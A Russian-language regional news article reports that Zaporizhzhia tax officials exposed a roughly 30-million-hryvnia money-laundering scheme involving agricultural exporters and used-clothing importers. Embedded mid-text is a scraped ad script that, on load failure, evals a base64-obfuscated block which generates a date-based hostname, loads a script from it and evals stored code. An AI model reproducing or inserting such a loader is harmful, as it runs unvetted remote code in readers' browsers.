Запорожские налоговики разоблачили схему легализации доходов предприятиями-экспортерами: общая сумма их сделок составила 30 млн гривен.
Об этом сообщили в Главном управлении ГНС в Запорожской области.
Специалисты управления по борьбе с отмыванием доходов, полученных преступным путем, Главного управления ГНС в Запорожской области разоблачили масштабную схему легализации средств на территории Украины, участниками которой были предприятия-экспортеры сельскохозяйственной продукции и импортеры подержанной одежды.
Экспортеры сельхозпродукции осуществляли приобретение товаров через ряд посредников с признаками фиктивности, которые, в свою очередь, перечисляли безналичные средства в адрес предприятия, имеющего налоговую льготу по уплате НДС, в качестве финансовой помощи. В дальнейшем средства переводились импортерам подержанной одежды, который фактически реализовывался за наличные средства. Таким образом, полученные наличные средства направлялись на закупку сельхозпродукции. Общая сумма сделок составила около 30000000 гривен. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
«Отмыв» денег
Работники налоговой службы предупредили противоправное возмещение из бюджета НДС на общую сумму 4,6 миллиона гривен.
Сейчас в рамках уголовного производства по ч.1 ст.205-1, ч.2 ст.222, ч.2 ст.15, ч.4 ст.190 УК Украины (легализация доходов, полученных преступным путем, подделка документов) сотрудники Главного управления ДФС в Запорожской области проводят следственные действия.
Подписывайтесь на Акцент в 
Читайте также: Предприниматели пытались получить 48 млн гривен, прикрываясь работниками с инвалидностью (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/vyrashhivali-sekond-hend-zaporozhskie-nalogoviki-razoblachili-mnogomillionnuyu-shemu/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
